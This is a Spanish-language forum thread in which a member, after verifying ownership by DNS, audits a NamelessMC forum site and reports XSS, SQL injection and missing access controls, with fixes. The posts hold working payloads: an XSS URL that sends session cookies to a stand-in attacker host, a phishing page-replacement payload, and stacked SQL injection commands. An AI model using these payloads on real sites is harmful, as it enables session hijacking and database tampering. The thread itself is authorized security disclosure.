Foro de elhacker.net

Seguridad Informática => Hacking Ético => Mensaje iniciado por: KinzVE en 5 Julio 2018, 06:56 am



Título: Vulnerabilidad de una web
Publicado por: KinzVE en 5 Julio 2018, 06:56 am
Buenas, se que este no es el lugar mas indicado para buscar este tipo de ayuda pero bueno.
Hace poco un grupito molesto me dijo en manera de amenaza que mi web era vulnerable a inyecciones sql.

Quería saber si alguien de aqui que tenga el minimo conocimiento sobre esto me podría hacer algun tipo de scaneo a la web y decirme si esto es o no verdad, por favor.

Preferiria cambiar de software ahora mismo, que luego cuando ya este todo terminado.
la web es  play.cubstar.net

El software de la web es NamelessMC lo pueden encontrar en github o en su pagina oficial.


Título: Re: Vulnerabilidad de una web
Publicado por: WHK en 6 Julio 2018, 16:08 pm
Hola, yo estoy dispuesto a ayudarte, lo único que necesito es que hagas un registro TXT en tu DNS que diga "acceso a pentetsing" (no un archivo en el servidor web), cuando esté listo nos avisas, de esa manera me aseguraré que ese sitio web realmente es tuyo y que no estas pidiendo que hackeemos un sitio web por ti.

Saludos.


Título: Re: Vulnerabilidad de una web
Publicado por: KinzVE en 7 Julio 2018, 19:45 pm
Hola, yo estoy dispuesto a ayudarte, lo único que necesito es que hagas un registro TXT en tu DNS que diga "acceso a pentetsing" (no un archivo en el servidor web), cuando esté listo nos avisas, de esa manera me aseguraré que ese sitio web realmente es tuyo y que no estas pidiendo que hackeemos un sitio web por ti.

Saludos.
http://prntscr.com/k3pjgf
No tengo mucha idea
pero creo que seria eso, saludos.


Título: Re: Vulnerabilidad de una web
Publicado por: WHK en 7 Julio 2018, 19:50 pm
Nopues, no aparece en tus registros DNS:

Código:
Machine:~ whk$ dig -t txt play.cubstar.net

; <<>> DiG 9.10.6 <<>> -t txt play.cubstar.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41134
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;play.cubstar.net. IN TXT

;; AUTHORITY SECTION:
cubstar.net. 3600 IN SOA ns19.domaincontrol.com. dns.jomax.net. 2018070701 28800 7200 604800 86400

;; Query time: 127 msec
;; SERVER: xxx.xxx.xxx.xxx#53(xxx)
;; WHEN: Sat Jul 07 13:47:05 -04 2018
;; MSG SIZE  rcvd: 113

Código:
Machine:~ whk$ dig -t ns cubstar.net
...
;; ANSWER SECTION:
cubstar.net. 3600 IN NS ns19.domaincontrol.com.
cubstar.net. 3600 IN NS ns20.domaincontrol.com.
...

Ninguno de tus dos DNS oficiales de ese dominio tiene el registro txt que has agregado.


Título: Re: Vulnerabilidad de una web
Publicado por: KinzVE en 7 Julio 2018, 20:06 pm
http://prntscr.com/k3proi
Diria que ya, ahí salen los nameservers y mas información.
Tipo TXT en el HOST coloque las dns y en Valor TXT Acceso Pentesting TLL 1 semana.
Si me equivoco corrígeme.


Título: Re: Vulnerabilidad de una web
Publicado por: WHK en 8 Julio 2018, 07:28 am
Dale, ya lo he validado, como lo supuse, tu registro ha quedado en play.cubstar.net.cubstar.net xD pero bueno, por lo menos has comprobado ser el dueño del sitio web.

Dame un tiempo para darle un vistazo y te cuento. Si alguien más quiere darle un vistazo al sitio web, que lo haga con confianza pero sin dañar nada.

PD: http://play.cubstar.net/ no carga.


Título: Re: Vulnerabilidad de una web
Publicado por: WHK en 8 Julio 2018, 17:28 pm
Hola, he comenzado a darle un vistazo a tu sitio y acabo de encontrar un xss en una redirección que se hace por javascript cuando tratas de acceder al directorio inexistente de un perfil:

Por ejemplo, solicitando el directorio "x":
http://play.cubstar.net/profile/DamianIsHere');window.stop();alert(0);x('/x (http://play.cubstar.net/profile/DamianIsHere');window.stop();alert(0);x('/x)

El código queda así:

Código:
<script data-cfasync="false">window.location.replace('/profile/DamianIsHere');alert(0);x('/');</script>

Esto te puede impactar de varias maneras, primeramente es posible robar una sesión de usuario enviándole un enlace a alguien con un ataque debido a un segundo problema, el cual es que tu cookie de sesión de PHPSESSID de PHP (donde se almacena la autenticación del usuario) tiene el flag HttpOnly desactivado, esto quiere decir que a través de un ataque vía XSS es posible robar esta cookie por medio de javascript y reutilizarla.

Por ejemplo:

play.cubstar.net/profile/DamianIsHere');window.stop();eval(unescape(location.hash.substr(1)));x('/x#location.href='://atacante.com/cookies?value='+document.cookie; (http://play.cubstar.net/profile/DamianIsHere');window.stop();eval(unescape(location.hash.substr(1)));x('/x#location.href='://atacante.com/cookies?value='+document.cookie;)

Luego por debajo con un robot automatizado podría ser capaz de recibir la cookie y enviar solicitudes automatizadas al foro por ejemplo para cambiarle la contraseña, postear cosas de manera automática, entrar al panel de administración y subirle una shell (backdoor para controlar el servidor y acceder a la base de datos).

También es posible reemplazar el contenido y hacer phishing, por ejemplo para solicitar una contraseña:

play.cubstar.net/profile/DamianIsHere');window.stop();eval(unescape(location.hash.substr(1)));x('/x#document.body=document.createElement("body");document.body.innerHTML='Login falso aca.';history.pushState({},'','/login'); (http://play.cubstar.net/profile/DamianIsHere');window.stop();eval(unescape(location.hash.substr(1)));x('/x#document.body=document.createElement("body");document.body.innerHTML='Login falso aca.';history.pushState({},'','/login');)

A demás, a traves de javascript puedo modificar la dirección URL para ocultar el XSS para que no se den cuenta que están dentro de un contenido falsificado.

Nota: para ver los XSS te recomiendo utilizar Firefox porque Google Chrome los filtra.

Te recomiendo que reemplaces la redirección de javascript por uno de cabecera http (location 301) o escapes los caracteres en hexadecimal de javascript (\xnn).


Título: Re: Vulnerabilidad de una web
Publicado por: WHK en 8 Julio 2018, 18:38 pm
Acabo de encontrar la inyección SQL, se encuentra en el botón para dar reputación a un usuario dentro de un post, las variables solo son requeridas pero no filtradas.

POST : http://play.cubstar.net/forum/reputation/

Leyendo el código fuente del html que genera tu sitio vi esto:

Código:
<li class="dropdown">
        <a class="dropdown-toggle" data-toggle="dropdown" href="#">&copy; CubStar Network 2018</a>
        <ul class="dropdown-menu">
            <li><a href="#" target="_blank">Site software &copy; Samerton</a></li>
            <li><a href="https://github.com/NamelessMC/Nameless" target="_blank">Source avaliable on GitHub.</a></li>
        </ul>
    </li>

Así que me fui al código fuente en php para darle un vistazo: https://github.com/NamelessMC/Nameless/blob/master/pages/forum/reputation.php

Si te fijas, en la línea 30 y 47 solo exige que los valores sean requeridos pero no indica el tipo, por otro lado la sanitización de variables de la función create() tiene nativamente problemas de inyección sql haciendo que forzadamente las validaciones se hagan a través de las paginas y no desde el mismo núcleo.

He intentado ponerle comillas simples a los 4 parámetros enviados y me arroja lo siguiente:

Citar
SQLSTATE[01000]: Warning: 1265 Data truncated for column 'user_received' at row 1

Intentaré explotar la vulnerabilidad.

Adicionalmente me he dado cuenta que tienes muchas malas prácticas en el desarrollo mismo, desde el filtrado de tipos de parámetros hasta la manera en como maneja los permisos de cada sección, por ejemplo, en cada archivo de página de administración debe hacer las mismas validaciones, si se les olvida en una sola pagina quedarán al descubierto, esto no sucedería si utilizaran por ejemplo una clase base para extender el cual hiciera la misma validación una sola ves previniendo problemas como estos:

http://play.cubstar.net/admin/update_uuids/?uid=300
http://play.cubstar.net/admin/update_mcnames/?uid=300
http://play.cubstar.net/admin/sidebar

Actualmente las funcionalidades de administración para normalizar los id y nombres de los usuarios no tienen restricción de acceso tal como si lo tienen las demás secciones.


Título: Re: Vulnerabilidad de una web
Publicado por: WHK en 8 Julio 2018, 18:54 pm
https://github.com/NamelessMC/Nameless/blob/master/pages/forum/reputation.php#L47
Código:
   $queries->create("reputation", array(
        'user_received' => Input::get('uid'),
        'post_id' => Input::get('pid'),
        'topic_id' => Input::get('tid'),
        'user_given' => $user->data()->id,
        'time_given' => date('Y-m-d H:i:s')
    ));
    ...

https://github.com/NamelessMC/Nameless/blob/master/core/classes/Queries.php#L41
Código:
   public function create($table, $fields = array()) {
        if(!$this->_db->insert($table, $fields)) {
    ...

https://github.com/NamelessMC/Nameless/blob/master/core/classes/DB.php#L151
Código:
   public function insert($table, $fields = array()) {
        $keys = array_keys($fields);
        $values = '';
        $x = 1;
        
        foreach($fields as $field) {
            $values .= '?';
            if ($x < count($fields)) {
                $values .= ', ';
            }
            $x++;
        }
        
        $table = $this->_prefix . $table;
        $sql = "INSERT INTO {$table} (`" . implode('`,`', $keys) . "`) VALUES ({$values})";
        
        if(!$this->createQuery($sql, $fields)->error()){
            return true;
        }
        return false;
    }
    ...

Tal cómo se ve, la función insert() nunca hace escapes para insertar los valores que vengan desde un array, tampoco es capaz de reconocer los tipos de datos y esta es la gran deficiencia con la mayoría de las funciones que manipulan la db, en consecuencia todo tu sistema puede ser susceptible a inyecciones sql, especialmente donde no se realicen controles adecuados en las páginas ya que el núcleo no limpia nada.

A esto le agregamos lo siguiente:
https://github.com/NamelessMC/Nameless/blob/master/core/classes/DB.php#L13
Código:
$this->_pdo = new PDO('mysql:...

PDO tiene la ventaja y desventaja a su ves de poder realizar múltiples consultas en una misma query tal como lo hace Microsoft SQL Server, simplemente concatenando la consulta con un punto y coma ";", por lo cual esta inyección se podría traducir en un escape de variable con una comilla y luego del punto y coma realizar una inserción de datos adicional o eliminación, por ejemplo para hacerme administrador en el sitio o eliminar toda la base de datos.

Te recomiendo que uses como sistema de foro un phpbb3 con template de bootstrap y migres tus temas.


Título: Re: Vulnerabilidad de una web
Publicado por: WHK en 8 Julio 2018, 20:03 pm
https://github.com/NamelessMC/Nameless/blob/master/core/classes/DB.php#L173

Código:
public function update($table, $id, $fields) {
$set = '';
$x = 1;

foreach($fields as $name => $value){
$set .= "{$name} = ?";

if($x < count($fields)) {
$set .= ', ';
}
$x++;
}
$table = $this->_prefix . $table;
$sql = "UPDATE {$table} SET {$set} WHERE id = {$id}";

if(!$this->createQuery($sql, $fields)->error()) {
return true;
}

return false;
}

Al momento de crear la votación este es parseada por la función prepare() de PDO, pero el update no filtra el id.

Por ejemplo: Primero realizamos una votación normal y luego inyectamos para que se ejecute en el update:

Desde la consola de Firefox realizamos el voto:
Código:
$('input[name="uid"]').val("3');"); $('form[action="/forum/reputation/"]').submit();

Luego la inyección (para validar el token XSRF):
Código:
$('input[name="uid"]').val("3; update users set username=@@version where id = 17"); $('form[action="/forum/reputation/"]').submit();

De esta manera mi nombre de usuario (soy el user id 17) se transformaría en la versión de MySQL, pero por alguna razón no funciona, pero si puedo ver errores de consultas sql cuando fuerzo errores como este:

Código:
$('input[name="uid"]').val("3 ')"); $('form[action="/forum/reputation/"]').submit();

Citar
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 1

Le daré otro vistazo más aver si logro explotarlo.


Título: Re: Vulnerabilidad de una web
Publicado por: WHK en 8 Julio 2018, 20:11 pm
Según https://github.com/NamelessMC/Nameless/blob/master/core/queries/alerts.php puedo ver los mensajes y alertas de cualquier usuario unicamente indicando el id:

http://play.cubstar.net/core/queries/private_messages.php?uid=n (http://play.cubstar.net/core/queries/private_messages.php?uid=n)

No hay restricción para saber que usuario está accediendo a que mensajes.


Título: Re: Vulnerabilidad de una web
Publicado por: AXCESS en 8 Julio 2018, 21:38 pm
Excelente trabajo.

Soy profano en el campo, pero su explicación es accesible y entendible, según lo ha ido planteando. Muy interesante y didáctico.

Bello trabajo; muy profesional y concienzudo.

Es una pena que el usuario no se haya proclamado, en irle agradeciendo: esfuerzo, inteligencia y tiempo.
 
Y por sobre todo… que no le cobra.
 
Por qué este tipo de auditorías, se cobran, y bien caras que son. Las que he visto a nivel empresarial, son bien costosas.

De todos modos, la buena obra por si sola se alaba.

He tomado nota de su compañía y persona.
No dudaría, ni por un instante, en recomendarlo. Su trabajo habla de su valía.
Qué mejores referencias.

Llegue a Ud. mis humildes reconocimientos y estima.

Buenos deseos.

[Modif]

Me he leído el post varias veces.

He aprendido (y entendido) sobre las vulnerabilidades que muestra y lo que recomienda como buenas prácticas y  solución.
Muy bueno.


Título: Re: Vulnerabilidad de una web
Publicado por: KinzVE en 8 Julio 2018, 22:44 pm

Es una pena que el usuario no se haya proclamado, en irle agradeciendo: esfuerzo, inteligencia y tiempo.
 
Y por sobre todo… que no le cobra.
 
Por qué este tipo de auditorias, se cobran, y bien caras que son. Las que he visto a nivel empresarial, son bien costosas.

Los últimos días he estado fuera de internet por lo cual no pude responder antes.
-----------
Por otro lado, he revisado todos los comentarios que me dejo el señor WHK y he entendido lo suficiente como para saber tapar algunos de los agujeros u optar por utilizar un software de foro mas seguro.

Agradezco de verdad la ayuda que me brindo y por sacar algo de su tiempo para ayudar a un usuarios mas de esta comunidad tan grande.
No podría esperar menos de un miembro de la administración de este foro que por lo visto también es parte de una empresa de seguridad informática.
Sin obviar el hecho de que si, por este tipo de ayuda tendrías que pagar cantidades altas de dinero así que una vez mas le agradezco por ayudarme a mi con este problema sin cobrarme absolutamente nada.

Muy buenas personas en este foro la verdad.
Por ultimo quería saber si alguien de acá recomendaría SMF para utilizarlo próximamente.
Y saber si podría utilizar esta información para ayudar obviamente a otras paginas que cuentan con este mismo tipo de foro, en caso de ser no, lo entendería.

Una vez mas, gracias por toda la ayuda de verdad.
Suerte en todo lo que hagas y con tu empresa de seguridad, saludos.


Título: Re: Vulnerabilidad de una web
Publicado por: WHK en 8 Julio 2018, 23:52 pm
Hola, muchas gracias por los halagos, sin Dios no tendría el conocimiento y la sabiduría suficiente para poder haber ayudado.

Claramente las compañías tienen su dinero para pagar por estas cosas pero las personas mortales como nosotros nos cuesta mucho. La información es libre, yo he aprendido mucho de las personas y hasta el momento nadie me ha cobrado asi que tampoco tengo ningún motivo para cobrarle a cualquiera que necesite ayuda, es la esencia del foro, entre todos nos nutrimos de una u otra forma.

Con respecto a SMF te puedo comentar que también tienen bastantes malas prácticas en el desarrollo del software, no tanto como tu sistema pero no tiene comparación a phpbb, para mi phpbb es uno de los mejores sistemas para tener un foro junto a un par de proyectos en rails que he visto, pero en php para mi phpbb es lo mejor y a demás es gratis.

Dale un vistazo a este template para phpbb3: https://comboot.io/blog/beta/beta-3-1/

También tienen paquetes para traducir los textos al español y funcionan muy bien.

Lo que si te recomiendo mucho es que te mantengas siempre al día con las actualizaciones y nunca hagas modificaciones a nivel del núcleo del sistema, solamente a los templates y mods. A demás, intenta evitar el uso de Wordpress a menos que uses el servicio en la nube de wordpress.com.

Saludos.


Título: Re: Vulnerabilidad de una web
Publicado por: WHK en 9 Julio 2018, 18:01 pm
Ya han solucionado algunos problemas: https://github.com/NamelessMC/Nameless/issues/1144 , para que actualices tu sistema.

Saludos.


Título: Re: Vulnerabilidad de una web
Publicado por: r32 en 9 Julio 2018, 18:22 pm
Buen trabajo WHK, le has encontrado varias vulnerabilidades a su sitio web.
Ahora le toca correjirlas  ;-) ;-) ;-)

Saludos.